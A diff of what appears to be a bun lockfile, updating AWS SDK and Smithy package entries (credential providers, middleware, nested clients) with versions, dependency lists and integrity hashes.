+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-Xt9/U8qUCiw1hihztWkNeIR+arg6P+yda10OuCHX6kFVx3auTlU7+hCqs3UxqniGU4dguHuftf3mRpi5/GJ33Q=="],
- "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-cymSKMcP5d+OsgetoIZ5QCe1wnp2Q/tq+uIxVdh9MbfdBBEnl9Ecq6dH6VlYS89sp4QKuxHxkWXVnbXU3Q19Aw=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-AzcY74QTPqcbXWVgjpPZ3HOmxQZYPROIBz2YINF0OQk0MhezDWV/O7Xec+K1+MPGQO3qS6EDrUUlnPLjsqieHA=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.758.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.758.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/token-providers": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-x0FYJqcOLUCv8GLLFDYMXRAQKGjoM+L0BG4BiHYZRDf24yQWFCAZsCQAYKo6XZYh2qznbsW6f//qpyJ5b0QVKQ=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-XGguXhBqiCXMXRxcfCAVPlMbm3VyJTou79r/3mxWddHWF0XbhaQiBIbUz6vobVTD25YQRbWSmSch7VA8kI5Lrw=="],
+
+ "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
+
+ "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
"@aws-sdk/credential-provider-process/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="],
@@ -5521,181 +5217,125 @@
"@aws-sdk/credential-providers/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@aws-sdk/middleware-bucket-endpoint/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/eventstream-handler-node/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
- "@aws-sdk/middleware-bucket-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
+ "@aws-sdk/eventstream-handler-node/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@aws-sdk/middleware-bucket-endpoint/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@aws-sdk/middleware-eventstream/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
- "@aws-sdk/middleware-bucket-endpoint/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/middleware-eventstream/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@aws-sdk/middleware-expect-continue/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/middleware-eventstream/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@aws-sdk/middleware-expect-continue/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@aws-sdk/middleware-websocket/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
- "@aws-sdk/middleware-expect-continue/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/querystring-builder": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-MS5eSEtDUFIAMHrJaMERiHAvDPdfxc/T869ZjDNFAIiZhyc037REw0aoTNeimNXDNy2txRNZJaAUn/kE4RwN+g=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="],
+ "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
+ "@aws-sdk/middleware-websocket/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/middleware-websocket/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="],
- "@aws-sdk/middleware-location-constraint/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="],
- "@aws-sdk/middleware-location-constraint/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/nested-clients/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="],
- "@aws-sdk/middleware-sdk-s3/@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="],
+ "@aws-sdk/nested-clients/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="],
- "@aws-sdk/middleware-sdk-s3/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
+ "@aws-sdk/nested-clients/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="],
+ "@aws-sdk/nested-clients/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/nested-clients/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
+ "@aws-sdk/nested-clients/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="],
+ "@aws-sdk/nested-clients/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="],
- "@aws-sdk/middleware-ssec/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/nested-clients/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="],
